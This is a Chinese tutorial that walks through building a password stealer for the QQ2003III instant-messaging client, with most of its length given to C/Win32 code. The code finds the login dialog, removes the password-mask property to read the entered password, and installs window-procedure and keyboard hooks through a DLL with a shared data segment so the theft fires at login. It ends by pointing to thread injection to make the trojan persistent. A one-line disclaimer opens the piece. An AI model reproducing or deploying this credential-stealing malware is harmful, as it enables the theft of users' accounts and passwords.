声明:本文旨在探讨技术,请读者不要使用文章中的方法进行任何损人不利己的事!
随着QQ软件用户群的日益庞大,树大招风,针对QQ制作的木马,病毒程序层出不穷,本文只讨论的QQ密码窃取技术,希望大家不要拿去做损人不利己的事,虽然腾讯公司已经开始重视这类问题,并且确实下了不少功夫,但是盾再坚,也有相应的攻破它的方法,本文就是针对腾讯最新版的QQ2003III Build0117为攻破目标,好了,费话少说,我们开始吧,下面是程序截取QQ登陆密码截图:
一 取得QQ登录窗口句柄:
说起这个,大家一定会想到用FindWindow这个API,不错,我也是使用这个API得到了登陆窗口的句柄,不过用了点小技巧,大家看到的QQ的登录窗口标题本身是设的空的,然合再加上一个假的标题:“QQ用户登录”“QQ注册向导”,这样就可以防止别人用FindWindow来得到窗口的句柄,当别人枚举窗口名为“QQ用户登录”或“QQ注册向导”的窗口时,结果是根本找不到。因为它显示的标题是假的。腾讯的技术人员看来确是下了功夫的.不过FindWindow并不是非要标题栏才能找得到窗口的,以下是我查找QQ登陆窗口的代码:
HWND hQQlog;//QQ登陆窗口句柄
if (!IsWindow(hQQlog))
{
hQQlog = NULL;
do
{
hQQlog = FindWindow("#32770", NULL);
hLogBtn = FindWindowEx(hQQlog, 0, "Button", "登录");
hNoBtn = FindWindowEx(hQQlog, 0, "Button", "取消");
hRgBtn = FindWindowEx(hQQlog, 0, "Button", "注册向导");
} while ( (hRgBtn == NULL)&& (hLogBtn == NULL) && (hNoBtn == NULL)); //当这三个QQ登陆窗口按钮都存在的情况下肯定就是QQ登陆窗口无疑了.
二 取得QQ登录号码和QQ登录密码:
QQ登录窗口句柄得到了就好办了,以下是我取QQ号码和QQ密码的代码:
void GetPasswd(HWND hWndlog)
{
HWND hWndCbo,hQqNum,hWndEdt;
long nType;
hWndCbo=GetDlgItem(hWndlog,138); //取得QQ号码输入框(组合框)句柄,138是该窗口ID
hQqNum=GetWindow(hWndCbo,GW_CHILD);//由于窗口是CBS_DROPDOWN样式,因此它有一个EDIT子窗口,取得该EDIT句柄
GetWindowText(hQqNum,szQqNum,20);//取得QQ登录号码
hWndEdt = FindWindowEx(hWndlog, 0, "Edit", NULL);//取得QQ密码框句柄
nType = SendMessage(hWndEdt, EM_GETPASSWORDCHAR, 0, 0);//得到该密码框属性,用做取完密码后恢复该属性用
PostMessage( hWndEdt, EM_SETPASSWORDCHAR, 0, 0);//去除密码框密码属性
Sleep (100);//停止100毫秒,这点很重要
SendMessage (hWndEdt,WM_GETTEXT,255,(LPARAM)szPasswd);//取出QQ登录密码
PostMessage (hWndEdt,EM_SETPASSWORDCHAR,nType,0);//恢复QQ密码框属性
DialogBoxParam(hInstDLL, MAKEINTRESOURCE(IDD_DIALOG), NULL, (DLGPROC)ProcMain, 0);//显示结果
}
需要说明的几点是:
Window98下可以直接用GetWindowText取得密码框文本,Window2000/XP等NT系统对这方面做了防范.如果发现该文本框有密码框属性,GetWindowText会失效,所以要先取掉密码框属性.
我这里是针对腾讯最新版QQ2003III Build0117,其它版本QQ取QQ号码时候如果组合框不是CBS_DROPDOWN样式,会取不出来.
三 钩子:
好了,那么下面的问题是,这段窃取密码的操作应该在什么时候执行呢?大家可能想到用计时器来控制取密码的时间,类似这个样子:
void CQQTailDlg::OnTimer(UINT nIDEvent)
{
GetPasswd(hWndlog);
}
这的确是一种解决的手段,然而它也存在着极大的局限性——计时器的间隔如何设置?也许中招者正在输入密码和QQ号码,取密码的操作就已经执行了......
讲到这里,我所陈述的这些事实一定会让身为读者的你说:钩子!——对,就是钩子,下面我就用钩子来实现QQ密码窃取这个功能.
首先我对钩子做一个简要的介绍,已经熟悉钩子的朋友们可以跳过这一段。所谓Win32钩子(hook)并不是铁钩船长那只人工再现的手臂,而是一段子程序,它可以用来监视、检测系统中的特定消息,并完成一些特定的功能。打个比方来说,你的程序是皇帝,Windows系统充当各省的巡抚;至于钩子,则可以算是皇上的一个钦差。譬如皇帝下旨在全国收税,然后派了一个钦差找到山西巡抚说:“皇上有旨,山西除正常赋税外,加收杏花村酒十坛。”(-_-#……)正如皇帝可以用这种方法来特殊对待特定的巡抚一样,程序员也可以用钩子来捕获处理Windows系统中特定的消息。
问题具体到了“QQ登录密码窃取”上面,就是我们需要一个钩子,在用户单击了“登录”按钮之后,执行取QQ密码和号码的操作。我所实现的这段钩子过程为(至于如何挂接这个钩子,我会在稍后说明):
// 钩子过程,监视“登录”的命令消息
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
static HWND hRturn,hRgIN,hQQChk,hClose,hRgDlg;
CWPSTRUCT *p = (CWPSTRUCT *)lParam;
// 捕获“登录”按钮
switch(p->message)
{
case WM_COMMAND:
switch(LOWORD(p->wParam))
{
case 1:
GetPasswd(hProLog);
break;
case 105:
if(!IsWindow(hRgDlg))
{
SetHook(NULL);
do
{
hRgDlg = FindWindow("#32770",NULL);
hRturn = FindWindowEx(hRgDlg,0,"Button","返回登陆框");
} while ((hRgDlg == NULL)&&(hRturn == NULL));
if (hRgDlg != NULL)
SetHook(hRgDlg);
}
break;
case 12324:
do
{
hRgDlg = FindWindow("#32770",NULL);
hRturn = FindWindowEx(hRgDlg,0,"Button","返回登陆框");
} while ((hRgDlg == NULL)&&(hRturn == NULL));
do
{
hRgIN = FindWindowEx(hRgDlg,0,"#32770",NULL);
hQQChk = GetDlgItem(hRgIN,118);
}while ((hRgIN == NULL)&&(hQQChk == NULL));
if(SendMessage(hQQChk,BM_GETCHECK,0,0))
{
GetPasswdEx(hRgIN);
}
else
{
SetHook(NULL);
}
break;
}
break;
case WM_DESTROY:
if ((hRgDlg == NULL)&&(hRturn == NULL))
{
SetHook(NULL);
hClose = FindWindow("QQPASS","QQ 密码记者 Ver 1.0");
SendMessage(hClose,WM_CLOSE,0,0);
}
break;
}
return CallNextHookEx(hWndProc, nCode, wParam, lParam);
}
在此我说明几点:
这个过程包括了通过注册向导登录QQ窃取密码的过程.原理差不多,我就不再具体讲解了,大家可以看看本文所附的原码,本文只讨论通过QQ登录对话框登录QQ的密码窃取方法.
lParam是一个指向CWPSTRUCT结构的指针,这个结构的描述如下:
typedef struct {
LPARAM lParam;
WPARAM wParam;
UINT message;
HWND hwnd;
} CWPSTRUCT, *PCWPSTRUCT;
这时候像我一样的SDK fans也许会会心一笑:这不是窗口回调的那四个铁杆参数么?如你所说,的确是这样,你甚至可以使用switch (p->message) { /* ... */ }这样的代码写成的钩子函数来全面接管QQ窗口。
CallNextHookEx是调用钩子链中的下一个处理过程,换了钦差就会说:“十坛杏花村酒本钦差已经替皇上收下了,现在请巡抚大人把贵省正常的赋税交上来吧。”(-_-#……)这是书写钩子函数中很重要的一个环节,如果少了这一句,那么可能会导致系统的钩子链出现错误,某些程序也会没有响应
熟悉SDK的朋友一定清楚WM_COMMAND这个消息,本文正是通过对这部分消息的处理得到用户按下"登录"按钮的事件的,1是登录按钮的窗口ID.
实际上,很多人并不会按下"登录"按钮登录QQ,有些人偏爱使用"ENTER"这个登录热键登录QQ,所以我们还需要挂接一个键盘钩子.以下是具体代码:
// 键盘钩子过程,监视“登录(Enter)”的热键消息
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (wParam == VK_RETURN && lParam == 0)
GetPasswd(hProLog);
return CallNextHookEx(hWndKey, nCode, wParam, lParam);
}
在这里唯一要解释的一点就是lParam == 0子句。很明显这个if判断是在判断热键Enter的输入,那么lParam == 0又是什么呢?事实上在键盘钩子的回调之中,lParam是一个很重要的参数,它包含了击键的重复次数、扫描码、扩展键标志等等的信息。其中lParam的最高位(0x80000000)则表示了当前这个键是否被按下,如果这个位正在被按下,这个位就是0,反之为1。所以lParam == 0的意思就是在WM_KEYDOWN的时候调用GetPasswd(hProLog),也就是说,如果去掉这个条件,GetPasswd(hProLog)将会被调用两次(连同WM_KEYUP的一次)。
四 挂接钩子
接下来就是如何挂接这两个钩子了。对于挂接钩子,要解决的问题是:往哪里挂接钩子,以及如何挂接?
挂接钩子的目标,肯定是QQ登录窗口的所属线程。我的代码就是将这个窗口的句柄传入之后来进行钩子的挂接:
// 挂接钩子
BOOL WINAPI SetHook(HWND hQQlog)
{
BOOL bRet = FALSE;
hProLog=hQQlog;
if ((hQQlog != NULL) && (IsWindow(hQQlog)))
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQlog, NULL);
// 挂接钩子
hWndProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc,hInstDLL, dwThreadID);
hWndKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc,hInstDLL, dwThreadID);
bRet = (hWndProc != NULL) && (hWndKey != NULL);
}
else
{
// 卸载钩子
bRet = UnhookWindowsHookEx(hWndProc) && UnhookWindowsHookEx(hWndKey);
hWndProc = NULL;
hWndKey = NULL;
}
return bRet;
}
需要说明的一点是hQQlog是QQ登录窗口的句柄,是通过调用这个DLL的EXE文件传入的.
到此为止,以上所有的代码都位于一个QQHook.dll的动态链接库之中,关于DLL我就不多介绍了,请自己查阅相关资料和本文的配套源代码。
DLL之中已经做好了所有重要的工作(事实上这部分工作也只能由DLL来完成,这是由Windows虚拟内存机制决定的),我们只需要在EXE之中调用导出的SetHook函数就可以了。
五 DLL的共享数据段
在此感谢好友titilima的《“QQ尾巴病毒”核心技术的实现》一文中关于DLL和HOOK的描述,十分形象易懂,我所做的,只是把他文中的这部分重新引用了一下.
如果你对DLL不甚了解,那么在你读到我的配套源代码之后,肯定会对下面这一段代码有些疑问:
// 定义共享数据段
#pragma data_seg("shared")
HHOOK hWndProc = NULL; // 窗口过程钩子句柄
HHOOK hWndKey = NULL; // 键盘钩子句柄
HWND hProLog = NULL;
#pragma data_seg()
#pragma comment(linker, "/section:shared,rws")
这定义了一段共享的数据段,是的,因为我的注释已经写得很清楚了,那么共享数据段起到了什么作用呢?在回答这个问题之前,我请你把代码中以#开头的预处理指令注释掉然后重新编译这个DLL并运行,你会发现什么?
是的,密码窃取失败了!
好了,我来解释一下这个问题。我们的这个仿真程序的EXE、DLL以及QQ的主程序事实上是下面这样一种关系:
这个DLL需要将一个实例映射到EXE的地址空间之中以供其调用,还需要将另一个实例映射到QQ的地址空间之中来完成挂接钩子的工作。也就是说,当钩子挂接完毕之后,整个系统的模块中,有两个DLL实例的存在!此DLL非彼DLL也,所以它们之间是没有任何联系的。拿全局变量hQQlog来说,图中左边的DLL通过EXE的传入获得了QQ登录框句柄,然而如果没有共享段的话,那么右边的DLL中,hQQlog仍然是NULL。共享段于此的意义也就体现出来了,就是为了保证EXE、DLL、QQ三者之间的联系。
在钩子挂接成功之后,你可以通过一些有模块查看功能的进程管理器看一看,就会发现QQHook.dll也位于QQ.exe的模块之中。
六 后记
写到这里,所有功能都已经基本实现了,本文所附的程序只是一个测试程序,没有做任何保护自身的措施,实际上,目前许多流行的木马和病毒都使用线程插入技术,来实现自身的保护,通过把自身线程注入系统进程来时刻监视EXE文件的情况,来实现病毒,木马的"野火烧不尽,春风吹又生",真是高明,有兴趣的朋友可以参看一下Jeffrey Richter《Windows核心编程》的22章.